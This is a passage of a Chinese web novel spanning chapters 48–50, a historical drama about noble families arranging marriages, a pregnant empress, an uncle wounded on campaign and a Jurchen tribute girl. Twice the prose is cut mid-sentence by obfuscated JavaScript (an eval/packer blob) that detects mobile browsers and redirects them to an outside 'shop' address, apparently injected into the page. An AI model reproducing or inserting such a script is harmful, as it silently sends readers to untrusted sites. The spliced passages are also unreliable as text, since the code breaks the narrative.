端木萌笑叹:“你呀你,赶明儿就把你关到太夫人院子里去教嬷嬷看着你学女红,省的你成日里像个雀儿猫儿似的不得歇。”又嘱咐道:“你也去四婶婶院子里,将你四姐姐五姐姐一并叫上。如今你四婶婶心气儿不好,你别在她跟前太折腾,免得惹她心烦。” “娘放心,我晓得。”棠欢一面答应着,一面就颠颠地跑了出去。 “这孩子,不愧是行六,咱家这辈这些姑娘独她一个和小六一样成日里疯疯癫癫跟着哥哥们上蹿下跳。” 绮香忍不住腹诽:“全家上下都惯着这么一个小祖宗,不‘疯’就怪了。” 再加上,端木萌每每对着棠欢,就总是想到被送走的薇欢,便忍不住将对两个幺女心血全都花在棠欢一人身上,于是哪怕与婷欢相比,也要多宠着她些。 思及此,绮香眼中又露出不忍。 端木萌这厢似乎并没有多想些什么,面上还挂着笑意,看着逢州新送来的账本,手中有一搭没一搭地编着一个扇穗。 行湘捧着一碗热腾腾的红豆山药羹来放在案上,道:“殿下还是歇一歇,这账本明日再看也不会误事,当心伤了眼睛。” 绮香忙上来修剪那烛灯的灯芯,唯恐不够,又要去外面拿上一盏新的一并摆上,却正碰上端木婉进了院子,忙行了礼,又回来向端木萌道:“殿下,二夫人来了。” 端木萌起身走到外面,拉着端木婉的手将她迎进屋内,奇道:“这么晚了,你不是一向该歇下了,怎么来了?” “这么晚了,你不是也放心棠姐儿出去。我过来时正碰上她,这会儿她大概是和莞姐儿去太夫人那边,找锦姨给纸鸢勾线去了。” “自家院子里,又有人跟着,倒没什么。” 二人相对而坐,绮香又端来一碗红豆山药羹,又将账本撤到一旁。 端木萌道:“夜深,喝茶不好,你尝尝这山药羹,这次做的不是很甜,想必合你胃口。” 端木婉尝了两口,点点头,又从袖中取出一封信来递给端木萌,道:“我来是为了此事——这是今日在林家时景安叫岁荷交给我的。” 唐烨去世后,青芜和岁荷分别跟在了婷欢和景安身边。 端木萌打开来看,尚未看几行字便忍不住皱起了眉,“景安是说,怀宁长公主有意将她许配给添哥儿?” “是这个意思,虽未彻底明说,但这几日景安她们留在岳府,恐怕长公主也多有暗示。而且婷欢和景安说明日她们回来,长公主也会一同过府造访,若不是为了婚事,我想不出还有什么理由。” “添哥儿今年已经十七岁了,现在订婚,实则已经算晚的了,只是我未曾想过竟会是想与咱们家结亲......景安才十一岁,若是她不愿,明日你我替她回绝了就是,倒也没什么。” “只是我如今也弄不清景安是愿意还是不愿意。”端木婉叹道,“说实在的,景安也到了可以议亲的年纪,岳氏也没有什么大差错,虽然如今有些衰落,但岳添好歹也袭了爵,又有长公主在,也不算是下嫁了。人口简单,也算清净。” 端木萌却愁道:“可是前些日子怀宁长公主上书一事,虽然陛下未曾责怪,但还是有所疏远......何况,我如今竟想不明白我这姐姐是做的什么打算,既有结亲的打算,又为何还要多事?” “兴许是这些日子景安她们住在岳府,才有的结亲的想法罢......”端木婉想来也愁个不停。当初端木葭上书后,京中议论纷纷,她们一度在宴饮时碰见也是尴尬的很,不过维持了表面的交情和礼数。此番若不是岳佳邀请,婷欢和景安两个与之私交又颇深,这才答应了让她们住到岳府陪岳佳待嫁,却未曾想又惹出这桩“罗乱”。 “罢了。”端木萌将信拍到案上,道:“她既未下帖,我们也只当不知道她来。明日一早你我便进宫去,教莞姐儿和棠姐儿两个拉着她们四婶婶还有四姐儿五姐儿都去庄子放纸鸢去。婷欢和景安都聪慧,回来见我们不在想必也就晓得了。我们进宫,一是问问小六的意思,二是也好有个缓冲的时间,明晚回来也好问问景安自己的意思。” “太夫人那边......” “太夫人不会见她的。”端木萌哼道。 49. 第 49 章 更深露重。 端木萌一路将端木婉送回去,再回到留容轩时,棠欢的厢房里已经熄了灯。她叹了口气,将帕子铺开在院中的秋千上,自己坐上去悠悠晃着。 景安此事虽暂时有了对策,可却勾的她开始担心起婷欢的婚事来。 “行湘,你说......”她开了口,却又不知如何说下去。 行湘心下大抵有了猜测,道:“殿下是担心婷姐儿的姻缘?” “......不晓得她最后会落到哪儿,是像我些,还是像,她两个姑母些。”一想到师吟月和师冉月,端木萌瞬间整颗心都被愁绪淹没,心头肉酸痛地揪紧无所适从。 “殿下放心,几个姐儿有您,必定不会姻缘不幸的。” 端木萌笑得像倏忽一阵秋风,“但愿如此。年纪小的如今还不急,可以从长计议,然而婷欢如今却等不得了。明晚从宫中回来得一并问问她。如今师家地位稳固,阳曲侯和云和长公主的女儿,没有为了旁的什么事委屈自己姻缘的理由。” 这两日骤然升温,风里带上些湿暖的土腥气,师冉月害喜也随之害得厉害。 音儿亲自看着小锅熬着热姜茶,木莲守在师冉月身边,一个连一个地剥着柑橘。然而如今她是不吃也犯恶心、吃多了也犯恶心;开着窗子闻到一丁点土腥味儿也难受,不开窗子不通风也难受。早饭喝了两口粥就吐了个天翻地覆,缓了一会子,肚子又饿了,教厨房做了碗小馄饨来,好容易吃了一碗无事,才站起来走动了两步,毫无理由似的又开始呕吐。 如今虽然肠胃空空又饿了,却也一点东西不想再吃,只小口小口喝着热姜茶,又教太医来请脉,开了安胎的药,也不敢在坤宁殿内熬,只好托了端木暄把药拿去清和殿煎。 端木萌与端木婉过来,正碰上又一个请脉的太医从坤宁殿出去,看着师冉月瘫坐在榻上没一点精神,惊道:“前两日我来时还好好的,怎么这会儿害喜这般厉害?” “别——这会儿我听不得这两个字。” “好好好。”端木萌连声应着,又叹道:“你这般模样,倒叫我们今日不好开口了。” “我就知道你三日前才进宫,今日又把二嫂也带来了,必然是有事找我,快开口罢了。”师冉月直身坐起来,又喝了两口姜汤。 端木婉轻声笑叹:“既如此,我便也说了。昨日林岳两家婚宴上,景儿差岁荷交给我一封信,信中说恐怕怀宁长公主有意以她为媳。” “岳添?景安自己的意思呢?”师冉月皱眉。 “景安在信中未曾说明。景安说怀宁长公主今日有意与她和婷儿一同过府,恐怕就是要商议婚事。所以我们才一早进宫,一是好有时间单独问问景安,二也是问问你的意思。” “——反正不是为着看我来的,罢了罢了,我晓得了。”师冉月捏着锦帕掩面详装伤心,被端木萌轻打了一下,才笑道:“好了好了。如今和咱们家与岳氏结亲,说不上好,但也说不上坏。岳添此子,这两年宫宴我也见过几回,是个敦厚老实的人,兴许无趣些,但也挑不出错。所以我以为,只听景安自己的想法就好了,她想嫁就嫁,想不嫁,我便为岳添赐一桩婚事就是了。” “有你这句话我们便也放心了。” 两人在坤宁殿磋磨到天将黑,到了绮香差人送进来消息,这才坐上马车悠悠回了侯府。 张雁送了消息回来要带着孩子们在庄子里小住两日,于是便只有婷欢和景安立在垂花门旁等着。婷欢穿着一身杏橘色满绣苏绣月季和莲花纹样的裙子,披着鼠灰的厚披风,端然立在风里,像不折的花树。与之相比,景安一身浅水绿的暗线藏花福禄满月纹样的裙子,加上月白的披风,显得十分素净柔俏。 二人见母亲们下了马车,忙迎了上来。婷欢挽过端木萌的手臂,娇嗔笑道:“母亲真是的,和伯母也不留句话就进了宫,连四婶婶都带着弟弟妹妹们去了庄子。我们一回来家中除了太夫人一个都不在,还以为怎么了呢。” 景安也笑道:“还好我和大姐姐有些脑子。” 端木萌微仰着头,勾唇道:“就是看中你们两个聪敏,绝对会领悟我们的意思。若是换作那几个小子,我们可是万万不敢这么做的。” 四人至留容轩一齐用了晚饭,饭后便只留行湘、帘儿、青芜、岁荷四个在旁侍奉,其余人皆谴至屋外去。 景安见状有些惊异,道:“商讨女儿婚事,倒也不用这般对待罢?” “你这婚事事关师、岳两家的关系和颜面,你又在岳家住了这些时日,若是一不小心被人编排,容易坏了名声。虽说我师家女也不必在乎这些,但你毕竟还年轻,身上的麻烦越少越好。” “女儿明白了。” “既如此,便直说罢。”端木婉拉过师景安的手,道:“景儿,你可有喜欢的人?” 师景安摇了摇头,道:“没有。” 端木婉看出女儿眼底的直白,不似隐瞒作假,却还是看向师婷欢意图求证,却对上师婷欢正发呆的眼神,双颊还有些飞红。她心下了然,又看向师景安,道:“既如此,若是怀宁长公主再提结亲一事,你可愿意嫁给岳添?” 师景安想了想,沉静道:“若是长公主再提,女儿可以嫁。” “可以,而不是愿意?” “是。娘从小教我们要实事求是,女儿在岳府住了这些时日,也见过岳家兄长几面,只当他作寻常的远方表兄,不亲近也不厌恶。怀宁长公主和佳表姐待我也都友善,想必如果我嫁过去也不会被为难。但女儿对岳家兄长没有男女倾慕之情,所以谈不上‘愿意’,只是‘可以’。” 端木婉点点头,叹道:“娘知道了。” 端木萌开口道:“躲过了今日,想必此事不会太着急。景儿,你且自己琢磨着,若是不想嫁,随时与我们说就是,到时候你娘还有我,还有你姑姑都会为你做主。过些日子清明马球会还有百花宴你都去,也瞧一瞧有没有旁的心仪的人。” 师景安点头应下。 端木萌又看向师婷欢,拍了拍她的肩道:“婷儿,方才你就在发呆,在想什么?” 师婷欢骤然回过神来,双颊的红更深了几分,只避开母亲的眼神,低头道:“没......没想什么。” 端木萌看她神态,还有什么不明白的,却也只转头对端木婉道:“既然景儿的意思如今也明白了,今日折腾了一天,不如早些歇息罢。” 端木婉会意,便带着师景安先回。师婷欢见状,刚要跟着起身回厢房,却被端木萌拉住,道:“婷儿,这会儿你伯母和二妹妹也回去了,你实话与我说,是不是已经有心仪的人了?” 师婷欢登时惊愣在原地,随即满面羞红,像开错了时节的一朵红莲,明艳别殊。她结巴着道:“啊,啊。娘......你怎么知道的。” 端木萌摇了摇头,笑着叹了一口气,拉过她在自己身旁坐下,扶着她的肩道:“娘又不是没从十几岁活过,怎么会看不出?说罢,是谁家的公子?” “是......大哥哥的同窗,叫燕寂。” “燕寂......是寻县燕氏长房的那个独子?”端木萌微不可察地皱了下眉头,然而她这点微小的异样还是被紧张地观察着母亲神态的师婷欢捕捉到,顿时心脏一揪:“娘,燕氏有什么不妥么?” 端木萌叹道:“没有不妥。燕氏是寻县大族,根基深厚。我记着是燕寂的曾祖父那辈出了两个进士,后来皆官至尚书,燕氏五房也因此从寻县搬到了京城。虽说近些年不如原先繁盛,但也算中规中矩,没什么差错。” “那,为何......” “我不满,是因为燕寂是长房独子,自小丧父,是他母亲薛夫人独自将他拉扯大。燕氏明面上有五房,实际上旁支数不胜数,这些年那些亲戚盘根错节,生出不少罗乱。薛夫人是个厉害的,才能支撑住宗妇的位置,尽力约束那一大家子人,人后的辛苦可想而知!燕寂又是独子,倘若你嫁与他,今日的薛夫人可就是来日的你了。” “这些女儿都晓得,大哥哥已经与我说过了。” “你大哥哥已经知道了?” “没!大哥哥不晓得我喜欢他,只是当作和我介绍友人闲聊罢了。可是娘,这些人家但凡有些底蕴的,几乎都是人口复杂。咱们家是这样,官氏是这样,吴氏是这样,唐氏、萧氏是这样,从前的岳氏也是这样,又怎能避开呢?” 端木萌道:“婷儿,我们从未想过要你一定嫁到所谓的那些‘有底蕴’的人家,若你真心喜欢,哪怕嫁给走卒商贩,父母为你置办家业田产,保你一辈子衣食无忧,或者干脆招赘在家都行。”她眼中流露出一丝轻蔑,又道:“说实在的,若真说什么‘门当户对’,如今除了皇族,还有哪个能和师家门当户对。” 婷欢闻言,神情却有些痛苦,道;“娘,我想的倒不是‘门当户对’......爹爹难道不需要多些‘门生’么。” 端木萌眼神蓦地凝固。 师霖这厢为了怕前朝出事端,几乎把床都搬到了中书,去年秋敲定下来的一应改革事宜,除蒋节负责的市舶司有所调整之项,以及交由官成潜主要负责的与北面商榷的互市一项如常推行,其余也都暂缓,而调户部、吏部众人一律推经济事,以保证东北前线开支。 “干戈既起,事行保守,则无大错。” 至于前线传回战报,师霖不敢擅专,一律交由兵部先行处置,再召集中书商榷决断。实则端木玄人在前线,行军大事即刻作主,只有需要京中调配军需之事才会传回,大多也是已经做好了决断只待执行。若是有人提出异议,也一律被师霖压下,只按端木玄的旨意安排下去。 君王亲征,士气大涨。上巳节后捷报频传,不闻哀声。 四月,大军班师回朝。 “还有十日左右陛下的车马便抵京了,何不再等些时日再离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226164|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,也好与陛下吃顿家宴啊。” “不了,娘娘。近黛已经回来了,有妥帖的人照料,我的任务便也完成了。”端木暄望着仆从将她的行李一件件自偏殿搬至马车,又道:“至于‘家宴’,来日若有缘再说罢。” 师冉月看着她清瘦的面庞,心下思绪翻涌,却终究面上不显,只是语气中含了几分不忍:“陛下待你,与乐安长公主终究还是有几分不同的。” “那又如何呢?”端木暄平和道:“娘娘,我真心将你作嫂嫂对待,却与陛下不是兄妹。” “怎就不是兄妹了。”师冉月眼神冷了一瞬,却装作玩笑般开口,只是面上多了一丝考究,“虽是皇家,然而你和陛下是自小在慕州相伴长大的兄妹,陛下又怎会不顾念兄妹之情呢。” 端木暄只是惨淡一笑:“兄妹。从他亲手害死父王起,就没有‘兄妹’了。都道是天家无父子,然而彼时尚在王府,他却竟真的一点往昔的父子亲情都不顾了。这点血脉亲缘,是他自己斩断的。” 师冉月的心放下几分,只作安慰状,亦不多言。 一入了四月,京城便忽地一下暖了起来,各处花霎时开得喧嚣,鸟雀的叽喳也格外嘹亮热闹,似乎要将原先滞留在冬日里磋磨的生气一下子补回来似的。 “这天儿,昨日似乎还未入春,今日竟有些夏日暑气的感觉了。” 师冉月如今怀胎快六个月,身量重了起来,也常觉燥热。这些日子一应事忙起来,端木萌也不常入宫了,林绵感了风寒身子不适,也不来造访,除了偶尔过来“蹭吃蹭喝”的俞安乐和其余一二人,大多时候便只她一人独处。她还是格外偏爱廊下和窗前,如今的天气已经不用围炉,只在一旁支起一张高几,上面放些喜欢的吃食,而后便可赏景发呆打发时间。 她如今害喜的症状大有缓解,能吃的东西多了不少,心情便也较前两个月舒爽些。 “臣请娘娘安。” 师冉月闻声一愣,回头看见烟水,笑开道:“你也回来了。春桃,再搬把椅子来。” 烟水一身素蓝的衣裙,裙摆和袖口用月白和淡青的丝线做了些装饰。虽然裙子的款式显然是为了方便动作特意改过的,但还是较之在外时一身紧身玄青色男装添了几分柔和的女儿颜色。 烟水坐到师冉月对面,细长而下垂眉尖似是含着露水的草叶。 “你一向来寻我都是有要紧的事要说。说罢,这次又是何事?” 烟水也不绕弯子,春桃随后倒好的茶也置若罔闻,神情淡然道:“陛下从女真部带回来一个女子,是纳真的妹妹舒兰格格。” 她没有去看师冉月的神色,眸光微垂,继续道:“据说舒兰格格是女真贵族中容颜最美的女子。纳真将她献给陛下,以换取我朝收兵,并承认他为新任部落之主。” “这样啊。”师冉月喃喃道。 她声音极小,又模糊不清,竟让烟水一时没有听清,不自觉颦眉。 “陛下对她的爵位有定夺了吗?”师冉月突然抬起头看向烟水,眸色清亮,却有一种莫名其妙的平和,像是大雾的清晨中蓦然起飞的鸟儿尾羽带起的露水,又或者零星飘落反射着光线的细微雨丝。 “尚未。”烟水应道,却对上师冉月有些戏谑含笑的眼神。“娘娘就不担心吗?” “担心什么?”师冉月浅笑道,“陛下尚未有定夺,是将她册封为内命妇还是外命妇。若是有了决断,将她纳入后宫,那我命人新收拾出来一处宫殿就是。若是收作义妹册为公主或郡主,那我代为在国朝内寻一位驸马便是。” 音儿拿过药来,师冉月双手端着,吹了吹气,慢慢喝着。她越来越耐苦,便也不似少时急着一口气将药喝完,反倒渐渐喜欢上捧着温热的药碗闻着药香的感觉。 烟水仍端直坐着,似是在发呆。这举动在她过于不平常,以至于后面立着的春桃都忍不住伸长了颈子张望。 良久,她才开口道:“既如此,臣便不打扰娘娘了。”说着便起身要走。 师冉月却像没等来希望的答复一样,略有些不满似的,道:“为什么不告诉他呢?” 烟水背身对着师冉月,闻言顿了一顿,却像是未曾听见一般,又加快了步子,匆匆走了。 音儿目送她离开,弯着身子小声在师冉月耳边道:“姑娘何苦激她呢?” “成人之美罢了。” “那姑娘自己呢?”音儿有些着急,“那位舒兰格格,若是陛下真将她纳入后宫,姑娘打算怎么办?藩邦贡女,稍有差池便容易使两国交恶,可不是寻常妃嫔。” 师冉月的眼神慢慢飘到窗棂上,那里下雨时在夹缝中留下一点微不足道的泥,风一吹就散,却意外养活了一根小小的绿苗。心知它随时会消散,于是师冉月特意吩咐人留下了它。 “那都不是重要的,如今我唯一重要的便是将这个孩子安安稳稳生下来,其余的事,自然有人帮我处置。” 50. 第 50 章 “四夫人,四......四夫人!”袁行一边跑一边喊着,跨进垂花门往念栀堂前来时腿脚不利索扮了一跤,几乎是连滚带爬扑到张雁面前,气喘吁吁道:“四夫人——四老爷,四老爷不好了!” 端木萌正从念栀堂携着棠欢和幼芷几个走出来,没听清袁行的话,见他这般样子只厉声道:“私闯内院,还这般毛毛躁躁的,你哥哥未曾教过你规矩么?” 袁行伏在地上又转向她叩首道:“三夫人!是四老爷不好了啊!” 端木萌面色一凛,看已然面无血色呆愣在原地的张雁一眼,肃声道:“怎么不好,你快准确说来,作甚么就做这样的晦气事来。” 袁行忙立直了身子,却仍跪在地上,道:“三夫人,四夫人,是随着四老爷去边关的马希和马广传回来的消息,说是四老爷不知怎么回事中了暗箭,那箭头上有腐蚀血肉的毒,一时治不好,陛下只得令人保住四老爷的性命送回京来医治,只是怕扰乱军心而将消息压了下来,如今恐怕四老爷都已经昏迷了好几日了,恐怕,恐怕......” 张雁听着听着,已是翻着眼皮将将要昏过去,好在端木萌眼疾手快,上前一步接住她,才叫她没有直直摔在地上。一旁的幼芷幼桐两个已经慌张地抽噎起来,婷欢想说些什么相劝,却又不知如何开口,只好在一旁默默抚着两个妹妹的肩。 端木萌将张雁交给匆匆跑来的几个嬷嬷,又向袁行吩咐道:“你且先去宫中寻太医为四夫人看诊,而后便去前面候着,等着四老爷的消息。”又转首向行湘道:“你亲自随着成伯去接侯爷,将此事禀报于他。” “三伯母,娘......爹......”幼芷哭得上气不接下气,哭喘着叫着端木萌,一时说不出别的话来。幼桐小小一个,只瑟缩在姐姐怀中,面露惊惧,却并未哭。 端木萌心下不忍,却只皱眉道:“婷儿,带你两个妹妹到留华轩去罢。” “好。” “消息传到京城了?” “是。”薄枝低头道,“马希将消息传给了留在阳曲侯府中师骁的小厮袁行,栖洲说袁行已经拿着云和长公主的令牌去宫中请了太医,说是师家四夫人告病。”又略有迟疑道:“皇后娘娘大概也知道了。” “知道了,你退下吧。”端木玄挥了挥手。 军队已经快到了宛城,大约还有两三日便能进京,四周景致也从春草初生到绿意盎然,空气也不再干燥。军中一片欢欣,连带着端木玄的心情也实实在在地放松了好些。 薄枝略微抬头,似是看了眼端木玄的面色,并没有立刻退下。 端木玄略微皱了皱眉,眼睛像匕首在月色下闪着寒光,道:“还有事么?” 薄枝连忙将头低得更低,跪在地上道:“属下有句话与此事无关,不知当讲不当讲。” “讲。” “烟水和近黛都已经回宫,若是娘娘直到了舒兰格格的事——” “无妨。”端木玄背过身去,匆匆打断,声音渐冷,“你只消做好分内之事便可,下去罢。” “是。”薄枝惶恐着匆匆退下,不敢多言。 听着身后人已经走出大帐,端木玄才又慢慢转身坐到椅子上,拿起一旁案上放着的披风在手中端详了一阵,手指来回摩挲着,瞳孔却慢慢失了光彩。披风染了血褪了色,隐约间还能看出破碎烧焦的痕迹,明明是上好的料子,却已然有些起了毛边。 “陛下......陛下?” “啊。是你。什么事?”端木玄猛地惊醒,才发觉是岑嘱全正弯着腰在自己面前小心试探,企图将他唤回神。 “启禀陛下,舒兰格格的侍女雪儿正等在帐外,说是舒兰格格今日随着军中的厨子学着做了中原的点心,里面还有陛下爱吃的山药糕,送过来请陛下尝尝。” “不必了,叫她回去罢。” 岑嘱全看着端木玄阴沉的脸色不明就里,明明方才薄枝进来前还算艳阳高照,怎么这么一会儿功夫就乌云密布了,却也不敢耽搁,忙应声便要出去将雪儿请走。然而方才走到帐边,还没掀开帘子,便听见身后那人又道:“罢了,将东西拿进来罢。” “是。” 师冉月送走了来请脉的邹太医,一个人坐着发起呆来。这些日子胎像一直平平稳稳,孩子也只是偶尔动一动,也不闹人,安静得很,倒叫她觉得无聊起来。 算着端木玄最多也就两日便会回宫,她竟觉得有些许紧张或是什么的情绪,牵引着她一颗心时常胡乱急急地跳上一番,思绪也跟着像窗外的杨花一样纷乱,一会儿想着吴秐,一会儿想着烟水,还有烟水说的那位舒兰格格,又觉得自己似乎忘了些什么—— “音儿!” “我在,娘娘,怎么了?” “方才后来便与邹太医聊起饮食一事,竟忘了再问,邹太医说昨日午后侯府来人请走了杨太医看诊,是谁又病了?” “是四夫人病了,但说是小病,我想着兴许就是寻常风寒,或是头痛一类,便没来打扰娘娘。” “若是这些,四嫂自己也就抓药喝了,原是不必请太医的。”师冉月想了想,仍是挂心,便道:“今日杨太医不当值,你且叫德保拿上东海国进贡的那两支人参去侯府再问问罢。” “好,我这便吩咐德保过去。” 师冉月心落下一半,很快竟也忘了,自己琢磨着给孩子绣起肚兜来。没一会儿到了晌午,端木玦下学回来,围着她的肚子拍手说话。她便又忙着考较起他的功课来,直叫他将文章默写得一字不差了、音儿也催了又催,才拉着他一块去用午饭。 “母后,儿臣希望您能生个妹妹。”自从端木玦上了五岁,习了那全套的礼仪,便也不再耍赖撒娇唤“爹爹”“娘亲”这般称呼,平时只肯叫“父皇”“母后”了。 “为何?”师冉月有些惊讶,这是她怀胎这么些个月以来端木玦第一次说这种话,以往他即使围着她的肚子说话,也是弟弟、妹妹都叫上一通。 端木玦撇撇嘴,“因为妹妹就不用背书了啊。” 师冉月失笑,道:“你去问问含儿,她也是要背这些的,还要额外背《女则》、《女戒》,比你差不了多少。” “胡说,大皇兄说前些日子妹妹都随他去放风筝了,只有我要背太傅和沈先生留的这些诗词文章,这个月还要开始读《资治通鉴》和《史记》,这么一比临字帖都不值一提了。” “那是含儿乖巧,早早背完了,不似你总是先浑闹上一番才肯做功课。”师冉月这般说,尤嫌不过瘾,又挤眉弄眼着吓唬他道:“而且过两日太傅和沈先生还要叫你写读了《资治通鉴》和《史记》后的感想呢。” “啊!母后你是骗我的吧?” “谁骗你?我当初与你舅舅们一同上学,怎会不知道先生如何留作业呢?”师冉月得逞笑着。 “音儿姑姑——”端木玦转头想要找音儿求证,却未寻到她的身影,奇道:“音儿姑姑去哪儿了?” 师冉月也是才发觉,刚要问起,木莲忙在一旁应道:“娘娘,殿下,方才德保回来了,将音儿姐姐寻了出去,想必马上便回来了。” 师冉月心知是师家的事,一瞬间种种疑虑重新涌上心头,皱了皱眉,看着端木玦有些好奇又有些担忧的模样,又笑了笑对合月道:“你带着玦儿到偏殿继续用饭罢。” 她自己却无心再继续吃下去,只叫木莲带人撤了饭菜,自己独自坐着等音儿回来。 没多时,音儿自殿外进来,见到饭菜已撤,而师冉月枯坐着正等着自己,略微一愣,旋即更加觉得难以开口,却又无法隐瞒,只道:“娘娘,德保说,是四夫人昨日情绪激动,竟晕了过去,长公主才命袁行来请太医看诊。方才德保见到四夫人,神情瞧着不见病色,只是有些没精神,想来没什么大事。长公主和四夫人都叫娘娘莫要担心。” “为何会情绪激动?” 音儿迟疑道:“据说是......听说四老爷负伤昏迷。” 师冉月闻言,扶着腰起身,惊诧不已。战事平息已经快一个月,兵部汇报的折子也早已放在了清和殿的书案上,当中自然有伤亡一事,尤其是诸位将领伤亡及抚恤一应状况皆是清清楚楚,当中却并未提到师骁。如今这种消息是确有其事还是有人构陷,若是有人构陷,待过两日师骁回京自然真相大白,最多只会叫家眷心急两日,又何至于传出这般谣言? 师冉月一时间又是心乱如麻,竟隐隐约约觉得有些腹痛,登时捂着肚子坐了回去。音儿一惊,连忙上前将她扶住,一边大喊着叫传太医。师冉月却腾出一只手来摁住她,低声道:“不急。木莲,你去太医院,请邹太医来。”又转首看向音儿,盯了她一阵子,眸光骤然变狠,道:“音儿,你去阳曲侯府,传本宫口谕,教师太傅进宫见我。” 音儿一愣,旋即明白过来,顿觉心上尖刺丛生,看着师冉月道:“娘娘,待两日后他们回京再看也不迟......烟水和近黛都闭口不提,想必这当中......” “也罢。”师冉月缓了一会儿,觉得痛感削减了许多,才慢慢直起身子,目光也沉寂下来。“此时请监国的太傅进宫,也不像话。说到底,旁人我无法追究,这也只能算是家事罢了。” 四月二十一日,大军进城,师霖率百官至城门前亲迎端木玄还朝。 此次发兵一举平定东北战乱,京中百姓亦是夹道欢迎,上下一片欢欣。 端木玄入了宫门后,召集百官速开朝会。师霖将监国以来诸事一一总结汇报,无有隐瞒,有当细商者,皆以表呈上,留待端木玄裁断。 师霖语毕,兵部尚书王祥又将此次战事前后做了总结,端木玄令其交由礼部侍郎官成澈作参考,书以表彰以呈天下。 一应事交代完毕,户部尚书陈科站出来道:“陛下此次亲征东北告捷,此乃我朝天大的喜事,臣提议,与端午国宴一道举朝上下连贺十日,与军民同庆。” 端木玄却皱眉道:“打仗已是劳民伤财,此次军中伤亡也不算少,就不必做这样没有意义的事了。户部若是有闲钱了,还是先与市舶司筹谋筹谋,或是留待日后救灾救急罢。” 陈科闻言悻悻退下。 端木玄继续道:“端午宫宴照常举办,只按寻常规模便是。诸部诸司当优先处理抚恤一事。至于东北告捷,礼部将贺文发出去就是了。” “臣等遵旨。” 正要散朝,吴称却站出来道:“启奏陛下。敢问女真部献上的舒兰格格,陛下打算如何处置?” 端木玄却似早已料到,只道:“此事待朕与皇后协商,再作处置,不劳诸位费心。” 见端木玄如此说,吴称准备好的话便也不好再说,只得说了句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226165|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陛下圣明”便又退了回去。师霖瞟了他一眼,也不作言语。 走出宫外,吴称才问身旁并肩的师霖道:“舒兰格格的事你怎么一言不发?” 师霖淡淡道:“那格格又不是来和亲的友邦贵女,不过是个战败求荣而献上的贡女罢了。何况陛下都那般说了,我又能说什么?” “陛下说与皇后商议,大约是要将她纳入后宫了。你我的妹妹都在宫中,你便不担心么?” 师霖看向他,眼神意味深长,轻笑道:“陛下是否会与皇后商量倒不可知。不过——舍妹乃是国朝皇后,而令妹不过是陛下后宫中诸位才人之一......来日若要子衡兄你来抉择,孰轻孰重,你也该有个考量罢。” 吴称愣了一愣,正欲说些什么时,师霖却已走远。 五月初五,端午宫宴,一切只道是寻常。 觥筹交错间,乐音起伏,舞女水红的长袖缠绕飞舞于满殿暗金的绸幔间,显得格外奢靡。 因着师冉月有孕在身,不方便行动,这次宫宴便是交由林绵主要承办,徐聆雨从中协助。师冉月以花茶代酒,全程作陪。 宴饮过半,瞧着场上鼓点渐激,显然是到了高潮,徐聆雨与林绵对视一眼,向师冉月使了个眼色。没一会儿,场上的舞姬们便随着似是戛然而止却又恰到好处的鼓点作了谢幕,一水儿似浮云般退了下去。旋即鼓乐又起,一个身着异域服饰的女子独身一人上了场。 端木玄借着酒意看去,待瞧清了那女子面容时骤然酒醒,转头看向师冉月。师冉月却只平静地看着场上那女子的舞步,嘴角甚至挂着欣赏的浅笑。 一曲舞罢,场中女子优雅行礼,用有些许生涩的中原话朗声道:“臣女舒兰,拜见天朝陛下、皇后娘娘。” 台下众人闻言表情倒是各异,有惊诧的,有了然的,也有眼神乱瞟企图看出高台上那两人态度的。师冉月看在眼里,在心中暗叹精彩纷呈,终是在一阵死寂般的沉默中,先于端木玄悠悠开口:“平身。” “谢陛下、娘娘。” 舒兰站起身,并未像寻常臣子家眷那般低眉敛目,反而微微仰着头望着端木玄和师冉月。徐聆雨微微打量了她一番,浅笑着开口道:“这舒兰格格的眉眼瞧着倒不似女真女子,竟有几分像我们南省的女子呢。” 岑嘱全瞧着上面二位主子的颜色,忙开口搭话道:“昭仪娘娘不知,舒兰格格的外祖是逢州人,后来才出了关。算起来,舒兰格格的生母乌鲁岱庶妃也是半个咱们大淮人呢。” “逢州,这倒与皇后娘娘和我算是半个同乡了。不过舒兰格格既然来了我大淮,总用女真的称呼也不大好,不如趁着今日请陛下和娘娘为舒兰格格赐个名字、定个封号,日后咱们也好称呼了。” 师冉月向端木玄道:“徐昭仪所言不错。既如此,便请陛下定夺罢。” 端木玄阴沉着脸色看了她一眼,旋即缓缓道:“朕听说‘舒兰’在女真语中有珊瑚的意思......便赐名为‘胭’罢。至于姓氏——” “臣妾有一提议。”师冉月突然开口道:“舒兰格格一个女子孤身来我大淮,是为了和平安宁,乃大义之举。不如请陛下赐她国姓‘端木’为恩典,以彰显我朝崇尚和平、海纳百川的气魄。” “皇后所言有理。那便从皇后所请,赐名‘端木胭’,后续便由礼部操办罢。” 近黛穿着齐整的女官服制,侍立在端木玄身后,默默咀嚼了一遍这个名字,眼神有些黯然。她瞧出师冉月开口后端木玄眉眼间不自觉的舒展,看着台下那女真女子似乎很高兴的样子行礼道谢,心中只是暗叹。 师冉月亦看清端木玄那一点变化,暗自舒了一口气,却还是觉得有些不平,便只将视线看向场上,却在端木胭谢恩行礼时从那女子眼中看到了一点异样的光芒,心倏地又提起半颗。 